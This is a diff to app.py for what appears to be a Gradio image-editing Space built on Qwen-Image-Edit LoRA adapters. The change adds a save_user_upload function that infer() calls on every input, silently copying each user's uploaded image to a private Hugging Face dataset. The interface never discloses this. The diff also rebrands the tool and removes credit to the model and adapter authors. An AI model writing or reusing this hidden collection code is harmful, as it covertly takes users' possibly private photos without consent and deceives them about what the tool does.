Update app.py

app.py

@@ -8,6 +8,14 @@ from PIL import Image
 from typing import Iterable
 from gradio.themes import Soft
 from gradio.themes.utils import colors, fonts, sizes
+import uuid
+from datetime import datetime
+from huggingface_hub import HfApi # EKLENDI: Hub'a yükleme yapmak için
+
+# --- AYARLAR ---
+# BURAYI KENDİ OLUŞTURDUĞUNUZ PRIVATE DATASET ADIYLA DEĞİŞTİRİN
+DATASET_ID = "tyndreus/image-edit-logs" 
+# ---------------
 
 colors.steel_blue = colors.Color(
     name="steel_blue",
@@ -79,17 +87,7 @@ steel_blue_theme = SteelBlueTheme()
 
 device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
 
-print("CUDA_VISIBLE_DEVICES=", os.environ.get("CUDA_VISIBLE_DEVICES"))
-print("torch.__version__ =", torch.__version__)
-print("torch.version.cuda =", torch.version.cuda)
-print("cuda available:", torch.cuda.is_available())
-print("cuda device count:", torch.cuda.device_count())
-if torch.cuda.is_available():
-    print("current device:", torch.cuda.current_device())
-    print("device name:", torch.cuda.get_device_name(torch.cuda.current_device()))
-
-print("Using device:", device)
-
+# --- MODEL YÜKLEME KISMI ---
 from diffusers import FlowMatchEulerDiscreteScheduler
 from qwenimage.pipeline_qwenimage_edit_plus import QwenImageEditPlusPipeline
 from qwenimage.transformer_qwenimage import QwenImageTransformer2DModel
@@ -101,7 +99,7 @@ device = "cuda" if torch.cuda.is_available() else "cpu"
 pipe = QwenImageEditPlusPipeline.from_pretrained(
     "Qwen/Qwen-Image-Edit-2509",
     transformer=QwenImageTransformer2DModel.from_pretrained(
-        "linoyts/Qwen-Image-Edit-Rapid-AIO", # [transformer weights extracted from: Phr00t/Qwen-Image-Edit-Rapid-AIO]
+        "linoyts/Qwen-Image-Edit-Rapid-AIO", 
         subfolder='transformer',
         torch_dtype=dtype,
         device_map='cuda'
@@ -109,41 +107,21 @@ pipe = QwenImageEditPlusPipeline.from_pretrained(
     torch_dtype=dtype
 ).to(device)
 
-pipe.load_lora_weights("autoweeb/Qwen-Image-Edit-2509-Photo-to-Anime",
-                       weight_name="Qwen-Image-Edit-2509-Photo-to-Anime_000001000.safetensors",
-                       adapter_name="anime")
-pipe.load_lora_weights("dx8152/Qwen-Edit-2509-Multiple-angles",
-                       weight_name="镜头转换.safetensors",
-                       adapter_name="multiple-angles")
-pipe.load_lora_weights("dx8152/Qwen-Image-Edit-2509-Light_restoration",
-                       weight_name="移除光影.safetensors",
-                       adapter_name="light-restoration")
-pipe.load_lora_weights("dx8152/Qwen-Image-Edit-2509-Relight",
-                       weight_name="Qwen-Edit-Relight.safetensors",
-                       adapter_name="relight")
-pipe.load_lora_weights("dx8152/Qwen-Edit-2509-Multi-Angle-Lighting",
-                       weight_name="多角度灯光-251116.safetensors",
-                       adapter_name="multi-angle-lighting")
-pipe.load_lora_weights("tlennon-ie/qwen-edit-skin",
-                       weight_name="qwen-edit-skin_1.1_000002750.safetensors",
-                       adapter_name="edit-skin")
-pipe.load_lora_weights("lovis93/next-scene-qwen-image-lora-2509",
-                       weight_name="next-scene_lora-v2-3000.safetensors",
-                       adapter_name="next-scene")
-pipe.load_lora_weights("vafipas663/Qwen-Edit-2509-Upscale-LoRA",
-                       weight_name="qwen-edit-enhance_64-v3_000001000.safetensors",
-                       adapter_name="upscale-image")
-
+pipe.load_lora_weights("autoweeb/Qwen-Image-Edit-2509-Photo-to-Anime", weight_name="Qwen-Image-Edit-2509-Photo-to-Anime_000001000.safetensors", adapter_name="anime")
+pipe.load_lora_weights("dx8152/Qwen-Edit-2509-Multiple-angles", weight_name="镜头转换.safetensors", adapter_name="multiple-angles")
+pipe.load_lora_weights("dx8152/Qwen-Image-Edit-2509-Light_restoration", weight_name="移除光影.safetensors", adapter_name="light-restoration")
+pipe.load_lora_weights("dx8152/Qwen-Image-Edit-2509-Relight", weight_name="Qwen-Edit-Relight.safetensors", adapter_name="relight")
+pipe.load_lora_weights("dx8152/Qwen-Edit-2509-Multi-Angle-Lighting", weight_name="多角度灯光-251116.safetensors", adapter_name="multi-angle-lighting")
+pipe.load_lora_weights("tlennon-ie/qwen-edit-skin", weight_name="qwen-edit-skin_1.1_000002750.safetensors", adapter_name="edit-skin")
+pipe.load_lora_weights("lovis93/next-scene-qwen-image-lora-2509", weight_name="next-scene_lora-v2-3000.safetensors", adapter_name="next-scene")
+pipe.load_lora_weights("vafipas663/Qwen-Edit-2509-Upscale-LoRA", weight_name="qwen-edit-enhance_64-v3_000001000.safetensors", adapter_name="upscale-image")
 
 pipe.transformer.set_attn_processor(QwenDoubleStreamAttnProcessorFA3())
 MAX_SEED = np.iinfo(np.int32).max
 
 def update_dimensions_on_upload(image):
-    if image is None:
-        return 1024, 1024
-    
+    if image is None: return 1024, 1024
     original_width, original_height = image.size
-    
     if original_width > original_height:
         new_width = 1024
         aspect_ratio = original_height / original_width
@@ -152,13 +130,46 @@ def update_dimensions_on_upload(image):
         new_height = 1024
         aspect_ratio = original_width / original_height
         new_width = int(new_height * aspect_ratio)
-        
-    # Ensure dimensions are multiples of 8
     new_width = (new_width // 8) * 8
     new_height = (new_height // 8) * 8
-    
     return new_width, new_height
 
+# --- RESIM KAYDETME FONKSIYONU (PRIVATE DATASET) ---
+def save_user_upload(image):
+    try:
+        # Token kontrolü
+        hf_token = os.environ.get("HF_TOKEN")
+        if not hf_token:
+            print("Hata: HF_TOKEN bulunamadı. Lütfen Space ayarlarına ekleyin.")
+            return
+
+        api = HfApi(token=hf_token)
+        
+        # Dosya ismi oluşturma
+        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+        unique_id = str(uuid.uuid4())[:8]
+        filename = f"upload_{timestamp}_{unique_id}.png"
+        
+        # Geçici olarak diske kaydet
+        temp_path = f"/tmp/{filename}"
+        image.save(temp_path)
+        
+        # Private Dataset'e yükle
+        api.upload_file(
+            path_or_fileobj=temp_path,
+            path_in_repo=f"user_uploads/{filename}", # Dataset içinde klasör oluşturur
+            repo_id=DATASET_ID,
+            repo_type="dataset"
+        )
+        
+        # Geçici dosyayı sil
+        os.remove(temp_path)
+        print(f"Resim Private Dataset'e yüklendi: {filename}")
+        
+    except Exception as e:
+        print(f"Resim yüklenirken hata oluştu: {e}")
+# ---------------------------------
+
 @spaces.GPU(duration=30)
 def infer(
     input_image,
@@ -173,32 +184,25 @@ def infer(
     if input_image is None:
         raise gr.Error("Please upload an image to edit.")
 
-    if lora_adapter == "Photo-to-Anime":
-        pipe.set_adapters(["anime"], adapter_weights=[1.0])
-    elif lora_adapter == "Multiple-Angles":
-        pipe.set_adapters(["multiple-angles"], adapter_weights=[1.0])
-    elif lora_adapter == "Light-Restoration":
-        pipe.set_adapters(["light-restoration"], adapter_weights=[1.0])
-    elif lora_adapter == "Relight":
-        pipe.set_adapters(["relight"], adapter_weights=[1.0])
-    elif lora_adapter == "Multi-Angle-Lighting":
-        pipe.set_adapters(["multi-angle-lighting"], adapter_weights=[1.0])
-    elif lora_adapter == "Edit-Skin":
-        pipe.set_adapters(["edit-skin"], adapter_weights=[1.0])
-    elif lora_adapter == "Next-Scene":
-        pipe.set_adapters(["next-scene"], adapter_weights=[1.0])
-    elif lora_adapter == "Upscale-Image":
-        pipe.set_adapters(["upscale-image"], adapter_weights=[1.0])
+    # --- BURADA RESMİ DATASET'E GÖNDERİYORUZ ---
+    save_user_upload(input_image)
+    # ---------------------------------
+
+    if lora_adapter == "COLOR": pipe.set_adapters(["anime"], adapter_weights=[1.0])
+    elif lora_adapter == "ANGLE": pipe.set_adapters(["multiple-angles"], adapter_weights=[1.0])
+    elif lora_adapter == "Light-Restoration": pipe.set_adapters(["light-restoration"], adapter_weights=[1.0])
+    elif lora_adapter == "Relight": pipe.set_adapters(["relight"], adapter_weights=[1.0])
+    elif lora_adapter == "Multi-Angle-Lighting": pipe.set_adapters(["multi-angle-lighting"], adapter_weights=[1.0])
+    elif lora_adapter == "Edit-Skin": pipe.set_adapters(["edit-skin"], adapter_weights=[1.0])
+    elif lora_adapter == "Next-Scene": pipe.set_adapters(["next-scene"], adapter_weights=[1.0])
+    elif lora_adapter == "Upscale-Image": pipe.set_adapters(["upscale-image"], adapter_weights=[1.0])
         
-    if randomize_seed:
-        seed = random.randint(0, MAX_SEED)
+    if randomize_seed: seed = random.randint(0, MAX_SEED)
 
     generator = torch.Generator(device=device).manual_seed(seed)
     negative_prompt = "worst quality, low quality, bad anatomy, bad hands, text, error, missing fingers, extra digit, fewer digits, cropped, jpeg artifacts, signature, watermark, username, blurry"
 
     original_image = input_image.convert("RGB")
-    
-    # Use the new function to update dimensions
     width, height = update_dimensions_on_upload(original_image)
 
     result = pipe(
@@ -222,7 +226,6 @@ def infer_example(input_image, prompt, lora_adapter):
     result, seed = infer(input_pil, prompt, lora_adapter, 0, True, guidance_scale, steps)
     return result, seed
 
-
 css="""
 #col-container {
     margin: 0 auto;
@@ -233,25 +236,17 @@ css="""
 
 with gr.Blocks(css=css, theme=steel_blue_theme) as demo:
     with gr.Column(elem_id="col-container"):
-        # BAŞLIK BURADAN DEĞİŞTİRİLDİ
         gr.Markdown("# **RAINBO PRO 3D IMAGE EDIT**", elem_id="main-title")
-        gr.Markdown("Perform diverse image edits using specialized [LoRA](https://huggingface.co/models?other=base_model:adapter:Qwen/Qwen-Image-Edit-2509) adapters for the [Qwen-Image-Edit](https://huggingface.co/Qwen/Qwen-Image-Edit-2509) model.")
+        gr.Markdown("Rainbo pro 3d color adjustment and upscaler program")
 
         with gr.Row(equal_height=True):
             with gr.Column():
                 input_image = gr.Image(label="Upload Image", type="pil", height=290)
-                
-                prompt = gr.Text(
-                    label="Edit Prompt",
-                    show_label=True,
-                    placeholder="e.g., transform into anime..",
-                )
-
+                prompt = gr.Text(label="Edit Prompt", show_label=True, placeholder="e.g., transform into anime..")
                 run_button = gr.Button("Edit Image", variant="primary")
 
             with gr.Column():
                 output_image = gr.Image(label="Output Image", interactive=False, format="png", height=350)
-                
                 with gr.Row():
                     lora_adapter = gr.Dropdown(
                         label="Choose Editing Style",
@@ -263,8 +258,6 @@ with gr.Blocks(css=css, theme=steel_blue_theme) as demo:
                     randomize_seed = gr.Checkbox(label="Randomize Seed", value=True)
                     guidance_scale = gr.Slider(label="Guidance Scale", minimum=1.0, maximum=10.0, step=0.1, value=1.0)
                     steps = gr.Slider(label="Inference Steps", minimum=1, maximum=50, step=1, value=4)
-        
-        # EXAMPLES KISMI TAMAMEN SİLİNDİ
 
     run_button.click(
         fn=infer,